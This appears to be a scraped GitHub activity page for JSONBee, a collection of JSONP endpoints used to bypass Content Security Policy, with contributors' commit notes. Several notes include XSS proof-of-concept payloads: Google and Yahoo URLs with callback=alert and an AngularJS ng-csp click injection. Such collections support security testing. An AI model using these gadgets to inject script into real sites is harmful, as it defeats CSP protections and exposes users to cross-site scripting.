JSONBee

JSONBee copied to clipboard

Added an additional www.google.com endpoint that allows for greater control over the resulting javascript

FelSec

Removing old Intuit JSONP endpoint

1

This endpoint is no longer vulnerable and should be removed.

ccloes

both ajax.googleapis.com endpoints are dead

2

``` ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337 ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337> ng-app"ng-csp ng-click=$event.view.alert(1337)>

aaronesau-summit

I've found some typos while reading it, so I've fixed them and some inconsistencies. Thank you, and stay safe!

DaniyelMe

Added 3 Yahoo Json End Points

3

Added 3 yahoo jsonp * https://ads.yap.yahoo.com/nosdk/wj/v1/getAds.do?cb=alert(1337) * https://mempf.yahoo.co.jp/offer?position=h&callback=alert(1337) * https://suggest-shop.yahooapis.jp/Shopping/Suggest/V1/suggester?callback=alert(1)//&appid=dj0zaiZpPVkwMDJ1RHlqOEdwdCZzPWNvbnN1bWVyc2VjcmV0Jng9M2Y-

cyber-niz